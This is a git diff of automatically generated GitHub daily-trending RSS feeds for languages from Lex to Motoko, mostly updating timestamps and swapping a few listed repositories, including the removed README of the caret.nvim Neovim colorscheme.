a/lex/daily/index.xml b/lex/daily/index.xml index 40b190bee7a..ef61af74751 100644 --- a/lex/daily/index.xml +++ b/lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:09Z + 2023-09-20T01:34:18Z Daily Trending of Lex in GitHub \ No newline at end of file diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml index f8845810cc6..ae73814d8d4 100644 --- a/lfe/daily/index.xml +++ b/lfe/daily/index.xml @@ -1,7 +1,7 @@ GitHub LFE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:14Z + 2023-09-20T01:34:24Z Daily Trending of LFE in GitHub \ No newline at end of file diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml index 374e53165b3..b07e4f8826d 100644 --- a/ligolang/daily/index.xml +++ b/ligolang/daily/index.xml @@ -1,7 +1,7 @@ GitHub LigoLANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:16Z + 2023-09-20T01:34:24Z Daily Trending of LigoLANG in GitHub \ No newline at end of file diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml index bdd01d51ec2..e323c408165 100644 --- a/lilypond/daily/index.xml +++ b/lilypond/daily/index.xml @@ -1,7 +1,7 @@ GitHub LilyPond Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:13Z + 2023-09-20T01:34:23Z Daily Trending of LilyPond in GitHub \ No newline at end of file diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml index e4b22d9c7b8..806d5987852 100644 --- a/limbo/daily/index.xml +++ b/limbo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Limbo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:15Z + 2023-09-20T01:34:22Z Daily Trending of Limbo in GitHub \ No newline at end of file diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml index abc557a6ef6..457f9384216 100644 --- a/linker-script/daily/index.xml +++ b/linker-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linker Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:19Z + 2023-09-20T01:34:26Z Daily Trending of Linker Script in GitHub \ No newline at end of file diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml index 522008b00fc..8d53c11a1a8 100644 --- a/linux-kernel-module/daily/index.xml +++ b/linux-kernel-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linux Kernel Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:18Z + 2023-09-20T01:34:27Z Daily Trending of Linux Kernel Module in GitHub \ No newline at end of file diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml index c92fe755aae..34168a84080 100644 --- a/liquid/daily/index.xml +++ b/liquid/daily/index.xml @@ -1,14 +1,7 @@ GitHub Liquid Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:20Z + 2023-09-20T01:34:28Z Daily Trending of Liquid in GitHub - - lifebottle/blog - 2023-09-19T01:33:20Z - tag:github.com,2023-09-19:/lifebottle/blog - - <p></p><hr> - \ No newline at end of file diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml index eb29e196b03..435293a939d 100644 --- a/literate-agda/daily/index.xml +++ b/literate-agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:17Z + 2023-09-20T01:34:26Z Daily Trending of Literate Agda in GitHub \ No newline at end of file diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml index 31bf192f296..679e3a506dd 100644 --- a/literate-coffeescript/daily/index.xml +++ b/literate-coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:21Z + 2023-09-20T01:34:30Z Daily Trending of Literate CoffeeScript in GitHub \ No newline at end of file diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml index 8b6c3512773..1a6f3aacb0a 100644 --- a/literate-haskell/daily/index.xml +++ b/literate-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:24Z + 2023-09-20T01:34:30Z Daily Trending of Literate Haskell in GitHub \ No newline at end of file diff --git a/livescript/daily/index.xml b/livescript/daily/index.xml index bc577f54d77..61e59af7225 100644 --- a/livescript/daily/index.xml +++ b/livescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LiveScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:23Z + 2023-09-20T01:34:31Z Daily Trending of LiveScript in GitHub \ No newline at end of file diff --git a/llvm/daily/index.xml b/llvm/daily/index.xml index b6cf2672ddb..8e12ba3c102 100644 --- a/llvm/daily/index.xml +++ b/llvm/daily/index.xml @@ -1,7 +1,7 @@ GitHub LLVM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:22Z + 2023-09-20T01:34:32Z Daily Trending of LLVM in GitHub \ No newline at end of file diff --git a/logos/daily/index.xml b/logos/daily/index.xml index 252ac4dc030..16d59f181dd 100644 --- a/logos/daily/index.xml +++ b/logos/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logos Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:28Z + 2023-09-20T01:34:35Z Daily Trending of Logos in GitHub \ No newline at end of file diff --git a/logtalk/daily/index.xml b/logtalk/daily/index.xml index 4cbb210507c..07b0ab635c9 100644 --- a/logtalk/daily/index.xml +++ b/logtalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logtalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:25Z + 2023-09-20T01:34:33Z Daily Trending of Logtalk in GitHub \ No newline at end of file diff --git a/lolcode/daily/index.xml b/lolcode/daily/index.xml index 1f38c5a830a..1c5674ef596 100644 --- a/lolcode/daily/index.xml +++ b/lolcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub LOLCODE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:26Z + 2023-09-20T01:34:36Z Daily Trending of LOLCODE in GitHub \ No newline at end of file diff --git a/lookml/daily/index.xml b/lookml/daily/index.xml index 464dc151cc2..f7676e7e22d 100644 --- a/lookml/daily/index.xml +++ b/lookml/daily/index.xml @@ -1,7 +1,7 @@ GitHub LookML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:26Z + 2023-09-20T01:34:36Z Daily Trending of LookML in GitHub \ No newline at end of file diff --git a/loomscript/daily/index.xml b/loomscript/daily/index.xml index 516dcfcc848..f2c9d61228e 100644 --- a/loomscript/daily/index.xml +++ b/loomscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LoomScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:29Z + 2023-09-20T01:34:38Z Daily Trending of LoomScript in GitHub \ No newline at end of file diff --git a/lsl/daily/index.xml b/lsl/daily/index.xml index b5d50872f2a..44bec9985ac 100644 --- a/lsl/daily/index.xml +++ b/lsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub LSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:30Z + 2023-09-20T01:34:39Z Daily Trending of LSL in GitHub \ No newline at end of file diff --git a/ltspice-symbol/daily/index.xml b/ltspice-symbol/daily/index.xml index 983a7324359..bd5c434de8e 100644 --- a/ltspice-symbol/daily/index.xml +++ b/ltspice-symbol/daily/index.xml @@ -1,7 +1,7 @@ GitHub LTspice Symbol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:31Z + 2023-09-20T01:34:39Z Daily Trending of LTspice Symbol in GitHub \ No newline at end of file diff --git a/lua/daily/index.xml b/lua/daily/index.xml index d49bb960750..8935e2574cb 100644 --- a/lua/daily/index.xml +++ b/lua/daily/index.xml @@ -1,14 +1,7 @@ GitHub Lua Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:34Z + 2023-09-20T01:34:42Z Daily Trending of Lua in GitHub - - projekt0n/caret.nvim - 2023-09-19T01:33:34Z - tag:github.com,2023-09-19:/projekt0n/caret.nvim - - <p>[WIP] The timeless colorscheme for neovim text editor.</p><hr><p><img src="https://github.com/projekt0n/caret.nvim/assets/24286590/558ae624-ad21-42c9-b5af-8d0663b44998" alt="caret.nvim"></p> <p>The timeless colorscheme for neovim text editor.</p> <hr> <p>The primary focus of the 'caret' color scheme is to provide a user-friendly and visually pleasing coding color scheme for colorblind and normal developers.</p> <p>This project was initiated during my pursuit of a computer science education. Leveraging the rich heritage of my family's Bandhani (tie-dye textile) craftsmanship, which spans seven generations, I have seamlessly integrated this legacy of expertise into the creation of this color scheme.</p> <h4>Work in Progress: Why?</h4> <p>This color scheme is actively under development, and the final colors have not yet been confirmed. Minor adjustments might occur in future updates. As development is ongoing, creating ports for other platforms is currently impractical.</p> <p>However, a separate repository under the <a href="https://github.com/projekt0n">projekt0n</a> organization will maintain Terminal themes, ports, and additional themes once a stable version is released. The Terminal themes will remain static, while the Neovim theme is <strong>planned to be real-time AI-generated</strong>. This aims to improve code visibility for various programming languages and generate colors by understanding code.</p> <p>The current state of the color scheme is comparable to oudh. Initial usage might not be instantly appealing. However, upon testing alternatives and making comparisons, you may find it intriguing.</p> <h4>Sponsorware</h4> <p>After dedicating approximately 3 years to the ongoing development of this colorscheme, I am considering the option of setting a sponsorship threshold and, upon reaching it, making release freely available to the world!</p> <p>This approach would allow users and organizations to contribute to the continuous development, maintenance, quicker release of upcoming versions, and potential ports. Your support would be highly appreciated.</p> <!-- If you're interested, you can learn more about 'sponsor-spotlight' on https://dev.to/ful1e5/lets-give-recognition-to-those-supporting-our-work-on-github-sponsors-b00 --> <p><img src="https://sponsor-spotlight.vercel.app/sponsor?login=ful1e5" alt="shoutout-sponsors"></p> <h2>Features</h2> <ul> <li>Supports the latest Neovim&gt;=0.5 features like Treesitter and LSP</li> <li>Vim terminal colors</li> <li>Support for multiple <a href="https://raw.githubusercontent.com/projekt0n/caret.nvim/main/#supported-plugins">plugins</a> <ul> <li>And many others should 'just work'!</li> </ul> </li> <li>Meticulously chosen colors for comfortable coding in various conditions</li> <li>Inclusive design aids colorblind and normal vision coders' visibility</li> </ul> <h2>Requirements</h2> <ul> <li>Neovim &gt;= 0.7.0</li> <li>True color support</li> <li>Undercurl terminal support (optional)</li> </ul> <h2>Installation</h2> <p>Install the theme with your preferred package manager:</p> <p>Install with <a href="https://github.com/junegunn/vim-plug">vim-plug</a>:</p> <pre><code class="language-vim">Plug 'projekt0n/caret.nvim' </code></pre> <p>Or with <a href="https://github.com/Shougo/dein.vim">dein</a>:</p> <pre><code class="language-vim">call dein#add('projekt0n/caret.nvim') </code></pre> <p>Or with <a href="https://github.com/k-takata/minpac">minpac</a>:</p> <pre><code class="language-vim">call minpac#add('projekt0n/caret.nvim') </code></pre> <p>Or with <a href="https://github.com/wbthomason/packer.nvim">Packer.nvim</a>:</p> <p>Add this in your <code>init.lua</code> or <code>plugins.lua</code></p> <pre><code class="language-lua">-- Install without configuration use ({ 'projekt0n/caret.nvim' }) -- Or with configuration use({ 'projekt0n/caret.nvim', config = function() require('caret').setup({ -- ... }) vim.cmd('colorscheme caret') end }) </code></pre> <p>Or with <a href="https://github.com/folke/lazy.nvim">lazy.nvim</a>:</p> <p>Add this in your <code>init.lua</code> or <code>plugins.lua</code></p> <pre><code class="language-lua">-- Install without configuration { 'projekt0n/caret.nvim' } -- Or with configuration { 'projekt0n/caret.nvim', lazy = false, -- make sure we load this during startup if it is your main colorscheme priority = 1000, -- make sure to load this before all the other start plugins config = function() require('caret').setup({ -- ... }) vim.cmd('colorscheme caret') end, } </code></pre> <h2>Usage</h2> <p>Simply set the colorscheme with the builtin command <code>:colorscheme</code></p> <pre><code class="language-vim">colorscheme caret </code></pre> <pre><code class="language-lua">vim.cmd('colorscheme caret') </code></pre> <h2>Screenshots</h2> <ul> <li>Font: <a href="https://github.com/ryanoasis/nerd-fonts/tree/master/patched-fonts/Iosevka">Iosevka Nerd Font Mono</a></li> <li>Terminal: <a href="https://sw.kovidgoyal.net/kitty">kitty</a></li> <li>Icon: <a href="https://github.com/kyazdani42/nvim-web-devicons">nvim-web-devicons</a></li> <li>StatusLine: Default (<a href="https://github.com/ful1e5/dotfiles/raw/main/nvim/.config/nvim/lua/ful1e5/statusline.lua">.vimrc</a>)</li> <li>dotfiles: <a href="https://github.com/ful1e5/dotfiles/tree/main/nvim/.config/nvim">ful1e5/dotfiles/nvim</a></li> </ul> <h3>Caret Dark</h3> <pre><code class="language-lua">vim.o.background = 'dark' vim.cmd('colorscheme caret') </code></pre> <p><img src="https://github.com/projekt0n/caret.nvim/assets/24286590/dadb52aa-dba6-45be-a8c3-16780900af45" alt="caret_dark"></p> <h3>Caret Light</h3> <pre><code class="language-lua">vim.o.background = 'light' vim.cmd('colorscheme caret') </code></pre> <p><img src="https://github.com/projekt0n/caret.nvim/assets/24286590/3cf638c7-76dd-444f-9097-9f8fa721917e" alt="caret_light"></p> <h2>Configuration</h2> <p>There is no need to call <code>setup</code> if you don't want to change the default options and settings.</p> <pre><code class="language-lua">-- Default options require('caret').setup({ options = { transparent = false, -- Set to true to disable background setting inverted_signs = false, -- Controls inverted Signcolumn highlighting styles = { -- Define styles for various syntax groups bold = true, italic = true, strikethrough = true, undercurl = true, underline = true, }, inverse = { -- Determines inverse highlights for different types match_paren = false, visual = false, search = false, }, }, mapping = { -- Configure key mappings toggle_bg = nil, -- Assign a specific key for toggling background }, groups = {}, -- Override default highlight groups here }) -- setup must be called before loading vim.opt.background = 'dark' vim.cmd('colorscheme caret') </code></pre> <h2>Supported Plugins</h2> <ul> <li><a href="https://neovim.io/doc/user/lsp.html">Builtin lsp diagnostics</a></li> <li><a href="https://github.com/nvim-telescope/telescope.nvim">telescope.nvim</a></li> <li><a href="https://github.com/projekt0n/circles.nvim">circles.nvim</a></li> <li><a href="https://github.com/kyazdani42/nvim-tree.lua">nvim-tree.lua</a></li> <li><a href="https://github.com/rcarriga/nvim-notify">nvim-notify</a></li> <li><a href="https://github.com/lewis6991/gitsigns.nvim">gitsigns.nvim</a></li> </ul> <h2>TODO</h2> <ul> <li><input type="checkbox" disabled> Support more plugins</li> <li><input type="checkbox" disabled> Enhance syntax highlighting</li> <li><input type="checkbox" disabled> Ports</li> <li><input type="checkbox" disabled> Generate syntax colors using AI to improve code visibility for each file and file format</li> </ul> <h2>Development Guidelines</h2> <ul> <li>Avoid adding/requesting unnecessary features to the codebase.</li> <li>Modularize the code to enhance comprehensibility.</li> <li>Support older Neovim versions as much as possible.</li> <li>Refrain from implementing hyped features into this colorscheme without prior discussion.</li> <li>Take colorblindness into consideration when making color-related changes.</li> <li>Have a Fun!</li> </ul> <h2>Contributing</h2> <p>See <a href="https://raw.githubusercontent.com/projekt0n/caret.nvim/main/CONTRIBUTING.md">CONTRIBUTING.md</a></p> <h2>Copying</h2> <p>This project is released under the terms of the MIT license.</p> <p>See <a href="https://raw.githubusercontent.com/projekt0n/caret.nvim/main/LICENSE">LICENCE</a> for more information or see <a href="https://opensource.org/licenses/MIT">opensource.org</a></p> - \ No newline at end of file diff --git a/m/daily/index.xml b/m/daily/index.xml index 6e1d17e2fe1..072361b7805 100644 --- a/m/daily/index.xml +++ b/m/daily/index.xml @@ -1,7 +1,7 @@ GitHub M Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:45Z + 2023-09-20T01:34:58Z Daily Trending of M in GitHub \ No newline at end of file diff --git a/m4/daily/index.xml b/m4/daily/index.xml index fe4caa812bd..98e302c193d 100644 --- a/m4/daily/index.xml +++ b/m4/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:47Z + 2023-09-20T01:34:56Z Daily Trending of M4 in GitHub \ No newline at end of file diff --git a/m4sugar/daily/index.xml b/m4sugar/daily/index.xml index 18193d47f05..6b15d777b9e 100644 --- a/m4sugar/daily/index.xml +++ b/m4sugar/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4Sugar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:46Z + 2023-09-20T01:34:59Z Daily Trending of M4Sugar in GitHub \ No newline at end of file diff --git a/macaulay2/daily/index.xml b/macaulay2/daily/index.xml index 585b812da44..fcd20a14c34 100644 --- a/macaulay2/daily/index.xml +++ b/macaulay2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Macaulay2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:44Z + 2023-09-20T01:35:00Z Daily Trending of Macaulay2 in GitHub \ No newline at end of file diff --git a/makefile/daily/index.xml b/makefile/daily/index.xml index 9c6736f5faa..4ffec05e912 100644 --- a/makefile/daily/index.xml +++ b/makefile/daily/index.xml @@ -1,14 +1,7 @@ GitHub Makefile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:52Z + 2023-09-20T01:35:05Z Daily Trending of Makefile in GitHub - - Jia-WeiFang/Advanced-UNIX-Programming_Student - 2023-09-19T01:33:52Z - tag:github.com,2023-09-19:/Jia-WeiFang/Advanced-UNIX-Programming_Student - - <p></p><hr> - \ No newline at end of file diff --git a/mako/daily/index.xml b/mako/daily/index.xml index 2eb1cdf269f..f86ebc96142 100644 --- a/mako/daily/index.xml +++ b/mako/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mako Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:49Z + 2023-09-20T01:35:02Z Daily Trending of Mako in GitHub \ No newline at end of file diff --git a/markdown/daily/index.xml b/markdown/daily/index.xml index 63a69e5cab3..9d00bce4c1c 100644 --- a/markdown/daily/index.xml +++ b/markdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub Markdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:54Z + 2023-09-20T01:35:07Z Daily Trending of Markdown in GitHub \ No newline at end of file diff --git a/marko/daily/index.xml b/marko/daily/index.xml index 593ccd436d8..54034693782 100644 --- a/marko/daily/index.xml +++ b/marko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Marko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:48Z + 2023-09-20T01:35:01Z Daily Trending of Marko in GitHub \ No newline at end of file diff --git a/mask/daily/index.xml b/mask/daily/index.xml index 3486da7f8f1..78fe30c5bd4 100644 --- a/mask/daily/index.xml +++ b/mask/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mask Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:56Z + 2023-09-20T01:35:10Z Daily Trending of Mask in GitHub \ No newline at end of file diff --git a/mathematica/daily/index.xml b/mathematica/daily/index.xml index 41ef565bbf3..37c874152fb 100644 --- a/mathematica/daily/index.xml +++ b/mathematica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mathematica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:57Z + 2023-09-20T01:35:11Z Daily Trending of Mathematica in GitHub \ No newline at end of file diff --git a/matlab/daily/index.xml b/matlab/daily/index.xml index 21a2b17d9a4..e05130c2688 100644 --- a/matlab/daily/index.xml +++ b/matlab/daily/index.xml @@ -1,21 +1,21 @@ GitHub MATLAB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:00Z + 2023-09-20T01:35:13Z Daily Trending of MATLAB in GitHub - Patrick9313/Voice-Eliminator - 2023-09-19T01:34:00Z - tag:github.com,2023-09-19:/Patrick9313/Voice-Eliminator - - <p>基于带阻滤波器消除一首歌曲中歌手的声音</p><hr> + henghuiding/SVC + 2023-09-20T01:35:13Z + tag:github.com,2023-09-20:/henghuiding/SVC + + <p></p><hr> - paulopreto/IBmBiomec - 2023-09-19T01:34:00Z - tag:github.com,2023-09-19:/paulopreto/IBmBiomec - - <p>Disciplina USP de Biomecanica para Informatica Biomedica</p><hr> + pnnl/ExaGO + 2023-09-20T01:35:13Z + tag:github.com,2023-09-20:/pnnl/ExaGO + + <p></p><hr> \ No newline at end of file diff --git a/maven-pom/daily/index.xml b/maven-pom/daily/index.xml index b134167f7b3..a1f0a03cf5a 100644 --- a/maven-pom/daily/index.xml +++ b/maven-pom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Maven POM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:58Z + 2023-09-20T01:35:09Z Daily Trending of Maven POM in GitHub \ No newline at end of file diff --git a/max/daily/index.xml b/max/daily/index.xml index f6600dd20d9..2ee5101e0a3 100644 --- a/max/daily/index.xml +++ b/max/daily/index.xml @@ -1,7 +1,7 @@ GitHub Max Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:03Z + 2023-09-20T01:35:16Z Daily Trending of Max in GitHub \ No newline at end of file diff --git a/maxscript/daily/index.xml b/maxscript/daily/index.xml index 65bac33b934..a77c90c6b6a 100644 --- a/maxscript/daily/index.xml +++ b/maxscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MAXScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:01Z + 2023-09-20T01:35:14Z Daily Trending of MAXScript in GitHub \ No newline at end of file diff --git a/mcfunction/daily/index.xml b/mcfunction/daily/index.xml index 940fb22920e..e15fa899da2 100644 --- a/mcfunction/daily/index.xml +++ b/mcfunction/daily/index.xml @@ -1,7 +1,7 @@ GitHub mcfunction Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:02Z + 2023-09-20T01:35:15Z Daily Trending of mcfunction in GitHub \ No newline at end of file diff --git a/mercury/daily/index.xml b/mercury/daily/index.xml index 20771bff2a3..2c05740bec2 100644 --- a/mercury/daily/index.xml +++ b/mercury/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mercury Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:09Z + 2023-09-20T01:35:20Z Daily Trending of Mercury in GitHub \ No newline at end of file diff --git a/meson/daily/index.xml b/meson/daily/index.xml index 528eb305820..518a7bb8a2f 100644 --- a/meson/daily/index.xml +++ b/meson/daily/index.xml @@ -1,7 +1,7 @@ GitHub Meson Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:08Z + 2023-09-20T01:35:22Z Daily Trending of Meson in GitHub \ No newline at end of file diff --git a/metal/daily/index.xml b/metal/daily/index.xml index 6a0df3bba5d..a806bc45871 100644 --- a/metal/daily/index.xml +++ b/metal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Metal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:11Z + 2023-09-20T01:35:27Z Daily Trending of Metal in GitHub \ No newline at end of file diff --git a/microsoft-developer-studio-project/daily/index.xml b/microsoft-developer-studio-project/daily/index.xml index 042ccfcaa65..b957ae5f998 100644 --- a/microsoft-developer-studio-project/daily/index.xml +++ b/microsoft-developer-studio-project/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Developer Studio Project Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:13Z + 2023-09-20T01:35:24Z Daily Trending of Microsoft Developer Studio Project in GitHub \ No newline at end of file diff --git a/microsoft-visual-studio-solution/daily/index.xml b/microsoft-visual-studio-solution/daily/index.xml index c35941c604a..e3bc1dae502 100644 --- a/microsoft-visual-studio-solution/daily/index.xml +++ b/microsoft-visual-studio-solution/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Visual Studio Solution Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:12Z + 2023-09-20T01:35:26Z Daily Trending of Microsoft Visual Studio Solution in GitHub \ No newline at end of file diff --git a/minid/daily/index.xml b/minid/daily/index.xml index c9930748367..0454325acf8 100644 --- a/minid/daily/index.xml +++ b/minid/daily/index.xml @@ -1,7 +1,7 @@ GitHub MiniD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:10Z + 2023-09-20T01:35:25Z Daily Trending of MiniD in GitHub \ No newline at end of file diff --git a/mint/daily/index.xml b/mint/daily/index.xml index 2aa922820a7..4c8ada31d1b 100644 --- a/mint/daily/index.xml +++ b/mint/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:15Z + 2023-09-20T01:35:30Z Daily Trending of Mint in GitHub \ No newline at end of file diff --git a/mirah/daily/index.xml b/mirah/daily/index.xml index cdb6b57e531..d8155687067 100644 --- a/mirah/daily/index.xml +++ b/mirah/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mirah Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:16Z + 2023-09-20T01:35:30Z Daily Trending of Mirah in GitHub \ No newline at end of file diff --git a/mirc-script/daily/index.xml b/mirc-script/daily/index.xml index bc3a3e6c693..f5936702e81 100644 --- a/mirc-script/daily/index.xml +++ b/mirc-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub mIRC Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:16Z + 2023-09-20T01:35:28Z Daily Trending of mIRC Script in GitHub \ No newline at end of file diff --git a/mlir/daily/index.xml b/mlir/daily/index.xml index 47480b66cb0..388cce6af7f 100644 --- a/mlir/daily/index.xml +++ b/mlir/daily/index.xml @@ -1,7 +1,14 @@ GitHub MLIR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:19Z + 2023-09-20T01:35:33Z Daily Trending of MLIR in GitHub + + xmos/ai_tools + 2023-09-20T01:35:33Z + tag:github.com,2023-09-20:/xmos/ai_tools + + <p>AI applications and tools</p><hr> + \ No newline at end of file diff --git a/modelica/daily/index.xml b/modelica/daily/index.xml index ca7ddca80eb..70c09d7e8fc 100644 --- a/modelica/daily/index.xml +++ b/modelica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modelica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:18Z + 2023-09-20T01:35:32Z Daily Trending of Modelica in GitHub \ No newline at end of file diff --git a/modula-2/daily/index.xml b/modula-2/daily/index.xml index f05239b85e7..f83c990eff4 100644 --- a/modula-2/daily/index.xml +++ b/modula-2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:20Z + 2023-09-20T01:35:33Z Daily Trending of Modula-2 in GitHub \ No newline at end of file diff --git a/modula-3/daily/index.xml b/modula-3/daily/index.xml index 144e95e8c3d..831902a0564 100644 --- a/modula-3/daily/index.xml +++ b/modula-3/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-3 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:18Z + 2023-09-20T01:35:34Z Daily Trending of Modula-3 in GitHub \ No newline at end of file diff --git a/module-management-system/daily/index.xml b/module-management-system/daily/index.xml index 67fa2aa6a32..2ce27c2a9f0 100644 --- a/module-management-system/daily/index.xml +++ b/module-management-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Module Management System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:21Z + 2023-09-20T01:35:36Z Daily Trending of Module Management System in GitHub \ No newline at end of file diff --git a/monkey-c/daily/index.xml b/monkey-c/daily/index.xml index 140386807e6..dc8a7c703c0 100644 --- a/monkey-c/daily/index.xml +++ b/monkey-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:24Z + 2023-09-20T01:35:36Z Daily Trending of Monkey C in GitHub \ No newline at end of file diff --git a/monkey/daily/index.xml b/monkey/daily/index.xml index 1c6f502b1d8..39cbc1284a0 100644 --- a/monkey/daily/index.xml +++ b/monkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:22Z + 2023-09-20T01:35:37Z Daily Trending of Monkey in GitHub \ No newline at end of file diff --git a/moocode/daily/index.xml b/moocode/daily/index.xml index 3c04243364b..e7ee3056656 100644 --- a/moocode/daily/index.xml +++ b/moocode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Moocode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:23Z + 2023-09-20T01:35:38Z Daily Trending of Moocode in GitHub \ No newline at end of file diff --git a/moonscript/daily/index.xml b/moonscript/daily/index.xml index 0b78e9ac325..03bf35a33f4 100644 --- a/moonscript/daily/index.xml +++ b/moonscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MoonScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:26Z + 2023-09-20T01:35:39Z Daily Trending of MoonScript in GitHub \ No newline at end of file diff --git a/motoko/daily/index.xml b/motoko/daily/index.xml index b55a3009c2c..7b9e763fe65 100644 --- a/motoko/daily/index.xml +++ b/motoko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motoko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:25Z + 2023-09-20T01:35:40Z Daily Trending of Motoko in GitHub \ 